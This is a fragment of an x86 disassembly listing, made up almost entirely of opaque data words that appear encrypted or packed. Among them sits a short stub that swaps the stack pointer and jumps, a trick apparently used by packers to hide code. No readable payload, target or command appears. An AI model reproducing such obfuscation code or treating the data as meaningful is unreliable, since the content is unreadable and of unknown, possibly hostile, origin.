		dd 614AA7B8h, 0C52EFF07h, 0BB8059E3h, 0FA027720h, 5CECC421h
		dd 0B84ABE87h, 0B12167Fh, 3291C9D2h, 1A226599h,	85C0CE35h
		dd 0E1D0BACEh, 0B192B18Dh, 0EF3CC0E8h, 429BA286h, 0BACE6479h
		dd 0A2B1376h, 1D9D0A43h, 18B534FFh, 36DD05F1h, 2E4C0958h
		dd 0E03511E5h, 36C28562h, 0B59821C5h, 43AAB526h, 9CB2AC29h
		dd 0E5D63511h, 448519D7h, 0A364F464h, 6FE27787h, 1474007Ch
		dd 0D3h, 7DB24B7Bh, 975FE543h, 0DC27518Eh, 1112BBF5h, 0D930F675h
		dd 0A682EB44h, 0E9FF4E9Fh, 84844F99h, 0E3FE19AFh, 0BD845DE3h
		dd 0A13788ECh, 0C3FE9CA3h, 60279E2Ch, 0FF1BFF7Ah, 597B3394h
		dd 97BA1392h, 0DE36DD55h, 0A3A5718Ah, 0E2CD364Eh, 0F5B861CAh
		dd 2341117Ah, 38C319E8h, 3E9726E3h, 3307D5E1h, 0C47618ACh
		dd 8ACAD72Bh, 3C57670Ah, 74D53C85h, 95F2E09h, 714726F3h
		dd 0BC8731EAh, 56EEDAEBh, 23C80385h, 6B75D992h,	0C61E0h
		dd 21061B00h, 8257ECC4h, 7BB84FB9h, 0DF101612h,	0B16AF2F6h
		dd 11883154h, 0F3F5DE0Bh, 59AFB46Dh, 21076CC9h,	0E0FAC31Ch
		dd 23748AC3h, 0B3DF351Ah, 65B14B96h, 0BF3398E5h, 1430F670h
		dd 71BAF2DDh, 223B0D16h, 4BEBE0CDh, 0FE8A7DB2h,	4C14F449h
		dd 0B9DB4CA6h, 3805DA63h, 34B77C9Eh, 0DE0F1765h, 9BCC5DA6h
		dd 36DDCF98h, 0A1DDF6C9h, 0A35112Fh, 3FD0627Eh,	2E096709h
		dd 0DDF8765Fh, 98533511h, 0DC5E07B1h, 0B83511DDh, 480B9EACh
		dd 3F74000Dh, 10h, 8ABACEA2h, 374D7C7h,	0CAF0D374h, 0DF000008h
		dd 0B534FF1Dh, 8700E167h, 10176534h, 9DE435CEh,	76B85B0Ch
		dd 0E2936DDh, 19D269BFh, 0F16F480h, 112D4C83h, 0B59C579Ch
		dd 68C558A8h, 67BC4399h, 0D10BD2A2h, 8E9DDD0Eh,	9B54E93Fh
		dd 0A58106E1h, 27B34A95h, 944E2D13h, 0A08D9457h, 4860BD40h
		dd 55ED8E8Dh, 48A1BA52h, 9851EA30h, 7A88B4E0h, 0ED4FA328h
		dd 4DE45255h, 0CD1BA862h, 61CAE237h, 267C8AB8h,	329750D2h
		dd 0FDC6172Eh, 0CABD728Bh, 0FEB667FEh, 45009435h, 5255EDD2h
		dd 0B60C3A06h, 8405DE62h, 6F74A9BCh, 2F360419h,	28460FFEh
		dd 83ADAA12h, 873741A8h, 0F6DFAE65h, 0AB81C093h, 5B2A333Ah
		dd 0F88D604Dh, 4D379FD3h, 8F3D34A8h, 0C1460D46h, 183AC9FDh
		dd 0F07B50D3h, 51AE66BFh, 45AC859Bh, 4E9496E2h,	0E24D67B8h
		dd 10C10E9Bh, 925B912Bh, 0ED5C97B5h, 915449E0h,	3F49E075h
		dd 0D7569DBFh, 4BCAE1FEh, 9E18AC70h, 0A47D8323h, 9885230Ch
		dd 5C0F982Eh, 3FC61295h, 9AA385EEh, 0B912C345h,	0B1C31CC5h
		dd 0AA116h, 61C65B00h, 0C2172C04h, 0BB788FF9h, 1FD05652h
		dd 0F12A3236h, 5148F194h, 33351ECBh, 99EFF42Dh,	6147AC89h
		dd 0A03A03DCh, 25344A03h, 0F39F351Ah, 7DB24B56h, 83D534ABh
		dd 74DFE1D9h, 0A62h, 0DB200504h, 0B88556EDh, 117AB748h
		dd 0F5DE0F17h, 0ABB069F3h, 0A128730h, 6CFCF4D1h, 0C85AAEB7h
		dd 1B22066Fh, 0C2E1F9C2h, 1A257589h, 95B0DE35h,	437DB24Bh
		dd 0A18A5FE5h, 40627145h, 0A893388Bh, 936DD78h,	77E11DB6h
		dd 7B4A3511h, 11771C52h, 55BCB735h, 9226854Ah, 42752628h
		dd 90321F3Ch, 272F276Fh, 271A4BDCh, 6EF7542Fh, 7CB9499Fh
		dd 0ACCCFB77h, 9950F4h,	24874C6Eh, 87C890AFh, 7C83D9F2h
		dd 0B0BBE2A7h, 9D5674F8h, 562CA12Ah, 0B81F75Dh,	83AB04F6h
		dd 0A2A583D5h, 0B1876641h, 0FD467EABh, 0B24B812Ch, 0D10107Dh
		dd 0F39970D0h, 3A5A9DDAh, 9A991h, 79BE4300h, 0DA0F141Ch
		dd 0B370F7F1h, 17C85EAAh, 0C9223A0Eh, 5940E9ECh, 3B0D16C3h
		dd 81E7CC25h, 695FA481h, 58321BD4h, 262C420Bh, 0B87351Ah
		dd 7DB24B4Eh, 8065E543h, 5C79C8BBh, 30F6701Eh, 43A0A7B5h
		dd 0C1E7CE29h, 0E91A2CCh, 0C8990E7Bh, 30F6C1D2h, 82FF0399h
		dd 367F36A2h, 30FB1991h, 752404B1h, 0A48F36E2h,	0B16EF7C5h
		dd 14C95C54h, 0A5768E5Ch, 0DC6CB80Bh, 952F081Ah, 0CE2943AAh
		dd 32F37759h, 70CE8192h, 0B922B2DFh, 91Ah, 83E84DDCh, 604D9EA5h
		dd 0D922FF00h, 0BD8657EFh, 1378B14Bh, 52EACF78h, 0B4B4BC99h
		dd 1012167Fh, 63FACED7h, 9A29A18Ah, 1A26BD31h, 0DD781635h
		dd 437DB24Bh, 802F5460h, 0FAD8FA72h, 30021B2Dh,	835CE22Ch
		dd 0DC2700B8h, 29061F6Dh, 44682470h, 1BD469B6h,	0A7D57C32h
		dd 0C6B279E7h, 0D5000005h, 0B534FF1Dh, 7095E9E2h, 373E30F6h
		dd 0AE82CB92h, 536E2C0h, 0AEF8B377h, 0C22D4798h, 71D07A6h
		dd 2BFA4D3Ch, 3595689Dh, 14510051h, 351ABAD6h, 0FDB1A058h
		dd 0A9389D38h, 2E37198Eh, 0A9CA94F1h, 0A6794A62h, 6B803612h
		dd 0F6FFC9FFh, 351A7378h, 2E0305D3h, 0C542AD96h, 8EDF238Ch
		dd 9DADB9AFh, 674F4908h, 0D156A2FDh, 3DB8B710h,	0DF000000h
		dd 0B235FE1Dh, 0F670E519h, 0C15AAE30h, 78CCBF68h, 88200BE8h
		dd 5DD2F1CDh, 4F1E6D51h, 9112E806h, 3FE84310h, 0E36E0333h
		dd 8059805Bh, 0Ch, 66FACEC7h, 93491C8Dh, 98000002h, 0B534FF1Dh
		dd 9B0CDD67h, 112B6130h, 7AA92785h, 8EE975E9h, 0CB9C0DF6h
		dd 36E27F9Dh, 1FB407D6h, 351A9FE3h, 86E4E148h, 2D351A9Fh
		dd 2D68502h, 0AFD920F9h, 1A9F3726h, 3BFF0335h, 48B3CD22h
		dd 71F15761h, 404C1DE9h, 4C57B957h, 7B8BA734h, 2EDCEAB1h
		dd 0B2C88554h, 19351A03h, 133149DEh, 0F85369D8h, 0A8BDA5C3h
		dd 67B44FBDh, 16B21BA2h, 0BD330EA2h, 424DA12Ah,	4FE630F6h
		dd 13291F64h, 0C458AEC6h
		dd 8165D17h, 0C2172DFAh, 0C73B9063h, 930F642h, 80AB3AF7h
		dd 46DA2E07h, 0ABB26FF0h, 0FC35CB11h, 6393FFC4h, 0FC35CB01h
		dd 3303052Bh, 1CEFF62Fh, 22E734C8h, 42345801h, 217730F6h
		dd 4DB6CE1Bh, 0B176F4DCh, 14C95C54h, 0FE1DE55Ch, 83855335h
		dd 7689DFAEh, 202503BDh, 0E623E4CFh, 6365BE42h,	719A4450h
		dd 0CB354902h, 579E30F6h, 0D8B2D811h, 9B047B4Fh, 0ADDA757h
		dd 0F6082D41h, 0FAAF8630h, 0E742B59Ch, 40B5279h, 8DDB0000h
		dd 220DA778h, 0B14B3865h, 697F4078h, 0BE17718Fh, 30F6CB40h
		dd 8D2440EBh, 361C8D07h, 8C69F9BEh, 0CC1216F4h,	0E29AE53Ah
		dd 0BDB63481h, 0D21D30F6h, 0B17B8BA7h, 0A922F538h, 30F6BD55h
		dd 94D277FEh, 56839966h, 0A17A81D7h, 4A7B2C17h,	5335E67Eh
		dd 9D368385h, 30F6BD61h, 0CB8063CAh, 30F6BDB7h,	9ACAD51Ch
		dd 4E66BB4Ch, 94AB63F8h, 0F3DA255Fh, 2FDF2BB9h,	0D7674BCDh
		dd 17ABBF8Dh, 97F7EBAAh, 0F48C9709h, 0B24A9E0Bh, 0ADB0F879h
		dd 0A5BBF170h, 1CB9DB4Ch, 30F6B321h, 795225B4h,	30F6B305h
		dd 240287AEh, 0FB34C916h, 4D851392h, 0A4A91038h, 0C5DBC5F4h
		dd 90958DA7h, 0D01B5592h, 215D76C9h, 8A30F62Fh,	50D2E6A3h
		dd 570DD97h, 5730F62Fh,	83196B9Bh, 32A8AEF5h, 4395321Ah
		dd 541D66BFh, 30F6AC62h, 654CA1A4h, 0E6E2054Dh,	0FECCFC79h
		dd 4BE3FFFFh, 0DD60B2h,	0B7C12624h, 2818654Ch, 0EC41C515h
		dd 68006BD4h, 0F6706EEDh, 3FCFFB30h, 0BB805DE0h, 4A62B74Dh
		dd 6A110483h, 808E9A01h, 47A5322h, 0AFE085D1h, 0DC770384h
		dd 8BA97418h, 4Eh, 3BACECEh, 1E865EB6h,	4B690186h, 7C942180h
		dd 0D736E214h, 86F9641Ch, 18351AF4h, 50A4FE0Ch,	25AE11CEh
		dd 351AF4C9h, 405ECB62h, 73FB3011h, 13F6h, 66349900h, 0B530F67Bh
		dd 0FFFD7BCAh, 73615FFh, 19000000h, 28836h, 0B24B1900h
		dd 750FDC60h, 3309A38Ah, 0CEE8F52Ah, 0CF8467ACh, 36DD7DC4h
		dd 2BB2CA65h, 35117D2Bh, 1687C4Fh, 0BEA55CD3h, 38C6E4A5h
		dd 4AAEA5h, 305574h, 1D3C0000h,	18B534FFh, 36DD8CF1h, 19DE6CB8h
		dd 5803846Fh, 0FC7EE791h, 9835116Ch, 68EB7E8Ch,	8374009Eh
		dd 50CB0DF5h, 3AEF1EEFh, 0B10Fh, 0B24B5200h, 91CDE60h
		dd 48539CD4h, 6BF15761h, 1D2006BEh, 0CB52A8C0h,	4AF7174Fh
		dd 1C67C367h, 0DC60B437h, 1D8A750Fh, 0F67CFBB4h, 0E062B630h
		dd 0A7BE8207h, 2F4D6D76h, 0AD4805E4h, 3C36E015h, 0EAE3B235h
		dd 351FDA94h, 0C893343Fh, 0AAB368FCh, 0B315C65Eh, 0DF6D7F6Ah
		dd 0BB4E09ABh, 0BD000004h, 6624BACh, 0E1C72CFDh, 48B8855Eh
		dd 141C79B6h, 9BF2DB10h, 78B14B2Eh, 0DE131513h,	0B66FF3F5h
		dd 6DC25BADh, 507D4E00h, 351A2A1Ah, 0CE4401B1h,	0F48C65FAh
		dd 0B24A9E0Bh, 720ADF64h, 89DFAE89h, 0C5EEBB74h, 0B8855AE3h
		dd 854BFCDh, 5A5A5A09h,	0B24B90CDh, 4D4F5020h, 0D84064B9h
		dd 0C7F1D8E6h, 43C715E4h, 6461CAE2h, 30F65C06h,	3DB11AADh
		dd 9630F65Ch, 0ED70745Fh, 0BC419730h, 5A781A63h, 765F2E91h
		dd 30F65CF8h, 0BC0F9853h, 0DD8E3017h, 1D237936h, 8F5CE0C4h
		dd 2E9D0AF5h, 0F8D5A407h, 35116D82h, 0FB990E29h, 116DE252h
		dd 0C8767A35h, 47DD0B29h, 0CE1E93CFh, 7F46F746h, 0F6C29514h
		dd 429BA36Fh, 21E6417Bh, 3A9FE160h, 6BFC4833h, 2A35FEB6h
		dd 38FD0D5Bh, 91E7466Fh, 0BBF35491h, 79B64F99h,	0A26AF1Eh
		dd 0A136E2CCh, 255F94ABh, 9B5CEEDAh, 4C3F06E1h,	0BB0AE778h
		dd 338FE3E8h, 0D24351Ah, 9D8AB9Ch, 1A332E4Ch, 0FDAA8535h
		dd 1A335094h, 3EC51335h, 0DBF0D3EDh, 351A33A7h,	0EEDA250Ch
		dd 7E09859h, 4BACBE82h,	4A7B62h, 34A60000h, 30F6704Ah
		dd 0FFC40F2Ah, 0CABD7689h, 4A5217BEh, 92374937h, 0F3275B02h
		dd 8E9830F6h, 43A0A780h, 5E9394E0h, 7A88F8C9h, 0DB5A03BDh
		dd 8930F6F3h, 7CCF95A5h, 0F6F31B57h, 0D6E4B030h, 0E7B68B16h
		dd 0D6FAAFB6h, 0D58A9354h, 92E6B74Bh, 0D42A538Ch, 7F30F670h
		dd 0FF10B0F4h, 7BD87B4Dh, 80825810h, 0AD910DA7h, 67C0429Dh
		dd 969B551Eh, 0F94830F6h, 9049D226h, 18561FD8h,	5330F671h
		dd 0F671047Ah, 0C584AF30h, 71E1BD6Ah, 1079E7BDh, 0FFFFFF6Fh
		dd 7DB24B77h, 83546043h, 40F5DE28h, 0F90C54F5h,	0FADB17BCh
		dd 0F97030F6h, 0C7E5B59Eh, 0C9D00D11h, 0F7565D76h, 61F736DDh
		dd 4B3A05DEh, 27B77A3Dh, 0BF687E68h, 0C4FE78E5h, 8E9A3511h
		dd 0A66ED80h, 271D7400h, 44000000h, 0B534FF1Dh,	0DD8CF118h
		dd 0E7915836h, 116CFC7Eh, 7E8C9835h, 9E68EBh, 0C51F74h
		dd 58AC0000h, 955E16C3h, 0B24B4734h, 5FE5437Dh,	1114F28Ah
		dd 0BF46A4DCh, 0D35C056Eh, 1B30F675h, 0E0C02D02h, 97E8805Dh
		dd 8839C141h, 0F11AD5AEh, 1496331Ah, 14A3DF6h, 36DD44C6h
		dd 5B973C8Fh, 0F0351144h, 72FDA079h, 0E02B4969h, 2FAFB401h
		dd 2B023307h, 23F80C58h, 8556EEDAh, 92730403h, 24AF31D9h
		dd 22Ah, 93F83DCCh, 705D8E95h, 2932EF70h, 8D9647DFh, 6348A1BBh
		dd 42DABF68h, 0A4A48CE9h, 2664Fh, 53EADE27h, 8AD9B19Ah
		dd 1A2DADC1h, 0CD880635h, 0C554BACEh, 9F77C209h, 5F6DBB6Dh
		dd 73D483D4h, 3902D76Dh, 6F936CFh, 56F32C32h, 0F6DFAE1Dh
		dd 30F63978h, 0B76C18D3h, 0FB7CEA51h, 1DEEAB7Ch, 8518ACFFh
		dd 310ED822h, 8B29450Eh, 0AB8230F6h, 85D4E140h,	0CC36DD77h
		dd 108966F8h, 0D52382ADh, 1DE69E53h, 197E88Ch, 0AA54B009h
		dd 94FDAACFh, 351175AAh, 8ED462CEh, 0E4D1A2BAh,	35117586h
		dd 813B022Dh, 7559953Eh, 7BF23511h, 68EBB710h, 1F7400B5h
		dd 0E1h, 68FACE42h, 9D0AF58Fh, 437DB24Bh, 0B91B9160h, 8E10E445h
		dd 34176B10h, 0B5BC30F6h, 0FE38CC14h, 49A52E67h, 0E230F634h
		dd 0A619604Bh, 3480FED7h, 2B30F6h, 0D750FD87h, 1F30F631h
		dd 61CC2906h, 0A3DD122Bh, 19DE6C58h, 3D03846Fh,	39BDF728h
		dd 1B51D01Bh, 0D37A2F04h, 0FD323400h, 0DDE65C3h, 0F8A18873h
		dd 0DD3F78AFh, 3D06D136h, 35B47F9Dh, 7585A98h, 8766F133h
		dd 157EABB1h, 70D00913h, 0D992BCC1h, 0E7F96272h, 81000000h
		dd 6A5EA780h, 353318D1h, 9C94F132h, 7848558Ah, 0B72E37E4h
		dd 54859F02h, 0AE7794Fh, 0E243C721h, 5996AF99h,	0C491A7Ch
		dd 351A2EEEh, 0CE104D45h, 0F18B64FAh, 0B54F9136h, 18AC1F64h
		dd 0DEF7206Fh, 30F69AA0h, 0BF84200Bh, 0B949BF7Bh, 2EFB447Ch
		dd 0C12A031Ah, 7DB24B8Ch, 8F60E543h, 60F614A6h,	61D5300h
		dd 14509BD5h, 5AAEEEAEh, 0E9526AC3h, 7E963F8Eh,	0DD36E2E4h
		dd 0AA059312h, 5AD4F7A4h, 0DB2173D4h, 0A080ED42h, 0AD28409Dh
		dd 73ED7644h, 0BE469215h, 3FE8536Dh, 21240333h,	96037F54h
		dd 358D7011h, 0C0A868A1h, 4F3E39A8h, 117AE806h,	81E84370h
		dd 64B94CA4h, 0B768FE4Ch, 42F05EFDh, 0A68F60E5h, 8362BB42h
		dd 7A679B30h, 65CC7011h, 0F77D0A4h, 5A000000h, 2C5563CAh
		dd 76F771D6h, 0B06DF1F7h, 0B64BAA17h, 5CE14771h, 0F13E983h
		dd 0B8489ED6h, 61FB417Bh, 122AF088h, 0C559AFD9h, 758A5068h
		dd 1D2604BCh, 50FEB4CCh, 405E089h, 83000000h, 48704E8h
		dd 24248B24h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
		dd 1C68243Ch, 8900001Dh, 0EC81241Ch, 4,	0BE243489h, 1BB6292h
		dd 0EE81D6F7h, 0F8584CDCh, 545EF789h, 81241C8Bh, 4C4h
		dd 4EC8300h, 81243C89h,	29162434h, 438F43A1h, 8738108h
		dd 43A12916h, 51241C8Bh, 0C181E189h, 4,	8704C183h, 8B5C240Ch
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5527B7
; ---------------------------------------------------------------------------
		dw 0A932h
		dd 0FADD1535h, 8138DBDh, 0F7CBD160h, 5FD6B826h,	0C50305ECh
		dd 6062E0FFh, 524D08E0h, 7A7A39EFh, 0B9DE072Eh,	0B5A624A6h
		dd 36818CFh, 31400610h,	0BB4243ABh, 0B6092BB5h,	53E75D61h
		dd 48A7636h, 0FD6A503Dh, 7C4B2BB6h, 1B2112F6h, 0BB471C33h
		dd 3E90568Dh, 41A807C9h, 0C4F54743h, 0F87CF3h, 200122C6h
		dd 0DE427EAEh, 3F800CDCh, 9E86E2Eh, 0AD000000h,	40F4E831h
		dd 993B2CDEh, 0D2E38166h, 0EE9596Bh, 0D2000000h, 0B4E723F0h
		dd 0BDDEC6Eh, 0FD4EFBA5h, 5BC181D2h, 0F000067h,	0BDB8FBBFh
		dd 8107CC51h, 0CC3803E8h, 31FFF807h, 665AF08Bh,	114CE81h
		dd 39CAC281h, 0C2811421h, 64B11542h, 81FFBF0Fh,	1843BEAh
		dd 88EB8018h, 83F91189h, 870F03E9h, 0
		dd 0EE816649h, 0F48C1B6h, 0FFFFC585h, 14ABEFFh,	8D8D0D31h
		dd 5EC61DAh, 0E99D8Bh, 8D8905E7h, 5E72315h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 3EC35545h, 29DD850Bh
		dd 810F05E7h, 6, 2A4D9D0Bh, 85C705E7h, 5E708B9h, 6264h
		dd 85C7D08Bh, 5E70C99h,	0
		dd 31A5B589h, 0CF8105E7h, 7AE848B2h, 19E5B5FFh,	953105E7h
		dd 5E70685h, 32CD95FFh,	0F08105E7h, 73E7AC62h, 95FF006Ah
		dd 5E71A1Dh, 0BEBC08Bh,	0B0D197BFh, 16921481h, 8D4AB1CCh
		dd 0EC62EB8Dh, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 11D3560Ah, 0B3B5901h
		dd 0E731F1BDh, 158D8905h, 6A05E723h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 591FC357h
		dd 0F418E1F9h, 8B985C7h, 597C05E7h, 9D8B0000h, 5E7162Dh
		dd 0C9985C7h, 5E7h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 6929C1C3h, 6D712079h
		dd 0B1B5FF13h, 6A05E72Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0D8B2C351h,	8381F9B9h
		dd 31B9BD89h, 95FF05E7h, 5E732CDh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0A1C35242h,	0C4D34EDh, 0E9231A5Dh
		dd 0Dh,	8E266AA7h, 92AA9399h, 0B8E1995Ch, 0FF006AF2h, 0E71A1D95h
		dd 0EBC08B05h, 0A174D80Ah, 0CC28F364h, 0EB17EEE3h, 60h
		dd 17h dup(0)
		dd 0C24E900h, 18E90000h, 6800000Ch, 5EC6BE6h, 0FB1A06E9h
		dd 6D4168FFh, 0FCE905ECh, 68FFFB19h, 5EC6DAEh, 0FB19F2E9h
		dd 0ECEAD6FFh, 0D7F7D77Ch, 0D5E5D279h, 0D9FD2C7Bh, 0D8FE2877h
		dd 4216AD70h, 5DEA6654h, 5DEA6656h, 5BE06848h, 0CEE36D71h
		dd 814F3184h, 5944C699h, 0FC7D3561h, 0B433D12Eh, 90391B02h
		dd 0E839ADA3h, 437BA68Dh, 78A7B27Fh, 65A78C5Ch,	196A525Fh
		dd 0F1D1FAC5h, 6E5742ADh, 42A522A2h, 92D7C54h, 0BA8BD435h
		dd 3A020F10h, 8EB887FBh, 0EC390648h, 5C9FEECCh,	2D2D1562h
		dd 73BE81D1h, 0D716774Bh, 0B18DD1F8h, 1D615946h, 84DAF8D2h
		dd 4E0005EBh, 62E0896Bh, 9FC37BC9h, 6DD3E623h, 66C69879h
		dd 7A77CD15h, 470FFC3Fh, 98FA8E72h, 63AA85C6h, 0A9217243h
		dd 0AAA68486h, 68623BCDh, 0A88C9FA0h, 0FA00EC4Dh, 4AE2C698h
		dd 6C493876h, 0C6982D84h, 0ED744E9Fh, 7F437D4h,	0F2C3E328h
		dd 654943ACh, 7A5227EBh, 0D416E54h, 4451EB02h, 0C375E2FCh
		dd 424BA6F7h, 0B3A51162h, 828AEA9Fh, 685A6AD9h,	6C000000h
		dd 0A628EB02h, 52A89099h, 4B167472h, 9AEB0863h,	0E0350F5Bh
		dd 0C375E218h, 3A144AE2h, 990A2D1Bh, 511CE431h,	0C617C375h
		dd 8DC516E7h, 22DB9BB5h, 2A638F37h, 0ECFA390Ah,	78521135h
		dd 12446C5Ah, 0CC38DF1Ah, 0AA3C8532h, 75CFB90Fh, 0A69BAC3h
		dd 817D355Ch, 3EA15CC8h, 477170B3h, 0A5000000h,	4F93B39Ah
		dd 2AB3F7Eh, 35BA28EBh,	9033D6Ah, 0A7F0D925h, 0BB33725Bh
		dd 75E2AA1Eh, 499068C3h, 0C8605A38h, 35C1F5C6h,	0C7F7220Dh
		dd 0A083A3E8h, 5A785236h, 6A12446Ch, 0A1FDDDC5h, 0E205EB48h
		dd 0CD1EC375h, 0EE02F8EEh, 0DAFFA72Fh, 0C375E256h, 95211C6Dh
		dd 5D117B00h, 0D32F78C9h, 92CC966Eh, 261603C6h,	94A0EFD8h
		dd 1DBD2E46h, 6EBF9F8Fh, 0A5AF2BE0h, 61F2602Bh,	625A47E8h
		dd 15EECD1Ch, 1DDh, 1A0A0251h, 0DC44ED17h, 11B98AA1h, 0E7C7C669h
		dd 9673B29Bh, 0C375503Ah, 8CD5F639h, 75504729h,	22735CC3h
		dd 6AA28DD1h, 0F43D0244h, 5497F6C4h, 434BD498h,	35560063h
		dd 19F3350Dh, 6D36F7BAh, 75422088h, 93D223C3h, 1C4A6CBCh
		dd 7D350D41h, 0D2EF794Eh, 9C230289h, 5678504Dh,	0E2D02108h
		dd 8AEA9FB3h, 5A6AD982h, 39h, 28EB026Ch, 0D27D35BAh, 0FD126BEDh
		dd 0D0F4D71Ah, 1911D995h, 0A44A246Bh, 0E643A28Dh, 0C375A612h
		dd 941CB911h, 0AFC375A6h, 35590D5Eh, 5A785211h,	3E0E446Ch
		dd 2Eh,	21EB0268h, 1FA3DD32h, 184E9FEAh, 0E218E035h, 0BDAC375h
		dd 220D355Fh, 0ECECD5EBh, 0F6EBF83h, 5A78525Bh,	0D12446Ch
		dd 87E63404h, 0A0232A4h, 0B983BB13h, 0CFB1047Dh, 0C4C37504h
		dd 1008A3FBh, 5065714Ch, 0C375A1F4h, 3429A7FFh,	3244C29Ch
		dd 98E93A18h, 0C5AB0E36h, 0DEC37509h, 9AA2B58Dh, 0C8137C2Bh
		dd 62CD95EDh, 0D0390535h, 566EBE95h, 0CE02536Bh, 547A521Ah
		dd 3C6A356Eh, 0EFE3DF1Eh, 0BA28EB02h, 6A359FB3h, 0E8C11D3Dh
		dd 82961E8Dh, 52566AD9h, 10000000h, 0BA28EB02h,	70450D35h
		dd 0C375E288h, 0E2D1A772h, 81D2C375h, 2384E730h, 0C375E25Dh
		dd 5E8297AFh, 0BF82AF4Bh, 8BE8F7Ch, 0C0A80D35h,	0C3C375E2h
		dd 733BB3F2h, 0E29A6E4Bh, 4899C375h, 0DC5D0776h, 0C520B40Eh
		dd 5A785295h, 3E0E446Ch, 44h, 28EB0268h, 18E035BAh, 0DAC375E2h
		dd 0A02A7802h, 1776446Ah, 671AEFCFh, 6A35A016h,	0A8220121h
		dd 236A35FCh, 0D9CD2003h, 0E2433580h, 7E40C375h, 2CC090E3h
		dd 0F0C11207h, 67D35C2h, 7BAD2795h, 0FDE9D211h,	0FA3Eh
		dd 0FC2B7400h, 48AB82D8h, 130A021Eh, 0E2B21EBBh, 0F758C375h
		dd 0C0B5F0D4h, 4C5CABF7h, 5222E66Ah, 0C17E5D7Ah, 801DA5DFh
		dd 0F4CEB210h, 0A5F6E730h, 3F6A3531h, 8BEAC31Fh, 0EB0233B7h
		dd 6A35BA28h, 0ED3C0220h, 0EA8E428Eh, 6AD9828Ah, 615Ah
		dd 0FD2F7000h, 0E2A315A0h, 57A0C075h, 87694C06h, 9CC075E2h
		dd 26670B3h, 0FC4451EBh, 0F7C375E2h, 356155A6h,	75E218E0h
		dd 9CCA1BC3h, 59927D35h, 704A6CBCh, 0DDCEA006h,	7F48A1FDh
		dd 0A18EB63Ch, 70664565h, 6C5A7852h, 5C3E0E44h,	74000000h
		dd 0E287694Ch, 5065C375h, 0C375E2E8h, 0F8C99AEBh, 0EB022DBDh
		dd 0D35BA28h, 0E8CBEB22h, 75E2B90Fh, 3CAA7BC3h,	0BB350D35h
		dd 0AC7582A1h, 52520467h, 2F705A78h, 0A980DEFEh, 0E22C9421h
		dd 0D627C375h, 1244C397h, 2F82801Ah, 0E47CF439h, 6F287297h
		dd 0B94574E2h, 84813A96h, 526E78BBh, 63434A7Ah,	0AC84CC12h
		dd 0D2EE79EDh, 0F2211C25h, 0C857F9D9h, 0DDA0FEC0h, 0C375AC69h
		dd 1AB6D0BBh, 0F2BA2C32h, 75AC5127h, 220152C3h,	2707012Eh
		dd 0AB8B80AFh, 0AFBF7648h, 0EE3F00F2h, 0AC9E62B7h, 4495C375h
		dd 0E7C6277Bh, 5676D2F4h, 0CD23D870h, 8AD0F6D6h, 199696AAh
		dd 0D4251A89h, 0C1F6C38Bh, 0C6C95DA5h, 60D4A9F5h, 0F5C69201h
		dd 41AE8CCCh, 72166444h, 3763C1C9h, 68183607h, 1A315A0h
		dd 57A0C692h, 5F454514h, 61F1ABC5h, 1987h, 6A35C300h, 0EAC31F3Fh
		dd 4264A48Bh, 0E237B97Ch, 7219C375h, 0F2D4F454h, 7A528A5Eh
		dd 83690654h, 0CBEDC882h, 0E8C96246h, 36BAB19Fh, 155A7F57h
		dd 92CCB175h, 0D0F15348h, 933BCE21h, 0A6CCB206h, 1760B1C8h
		dd 0CC8E76CBh, 0C8F8C8A6h, 0CCC3B500h, 0FEC0C8A6h, 0C06F37C8h
		dd 0C0230C4Eh, 71E3E991h, 0A25C05E0h, 39DDF68Ah, 724F86E6h
		dd 4198E25Fh, 56636BDAh, 0C8A6BBE2h, 0E85590E1h, 2Bh, 130A02FAh
		dd 0E2BA1EBBh, 0FF40C375h, 75A08FAFh, 0D12C7D41h, 94BB137Ch
		dd 0FABD93ABh, 2Bh, 0DBAD0830h,	0D8C375E2h, 23AAC8Fh, 0F3BB130Ah
		dd 1D587EACh, 75E228BCh, 0A7723AC3h, 0C375E3D1h, 0D1A281D2h
		dd 3861CE80h, 3E18C800h, 19Dh, 2D080268h, 520D41B9h, 0B36E547Ah
		dd 5574DB83h, 0E2CCB471h, 8FC7C375h, 75E2462Ah,	230C5DC3h
		dd 8AEA96C0h, 5A6AD982h, 68h, 2D08026Ch, 377D35B9h, 0E2A1961Ah
		dd 0C28AC023h, 0AFC9BF1Ah, 0A343C375h, 0A82A921Bh, 93D2238Ch
		dd 75AA4236h, 427041C3h, 0E1350D35h, 0E051ECF7h, 0E4522683h
		dd 51C375h, 52FDA925h, 0B57D5565h, 75E29860h, 6B4A9BC3h
		dd 6A12447Fh, 75E2F94Fh, 4AA9FAC3h, 0A80D351Ch,	0C375E2C0h
		dd 996A4A5Dh, 386A6D48h, 0BC000000h, 0A52D0802h, 4C92B09Ah
		dd 6F68257Dh, 0DC0E8855h, 6A35C9E1h, 0EF3E1C22h, 0DF3C68Ch
		dd 0C7C375E2h, 0C7F35C76h, 3522B4F7h, 2C655211h, 75E22789h
		dd 82D33CC3h, 520E44D4h, 4A72547Ah, 419DBDE5h, 0E2258B68h
		dd 0ED3EC375h, 0D35D88Eh, 75E2C0A8h, 0B3F2C3C3h, 0EB021B4Fh
		dd 9FB3BA28h, 0D9828AEAh, 3D5A6Ah, 26C0000h, 35BA28EBh
		dd 9F5D4E7Dh, 7526B63Ah, 1A7C4DC3h, 87E615C0h, 0E706EACFh
		dd 0CC1DC375h, 157D3586h, 0B2FE2838h, 0D035141h, 3F62A735h
		dd 52D2F6FCh, 446C5A78h, 423E0Eh, 2680000h, 0FF5C21EBh
		dd 0DF01A649h, 75D476FAh, 0D33C0DC3h, 8A2A4B8Bh, 8ADBF2D1h
		dd 350D35DCh, 53AA0A23h, 785C4FD2h, 0B7FACB22h,	9572B195h
		dd 0C375F923h, 35A210E1h, 5A785211h, 0D12446Ch,	0EEF83B1Bh
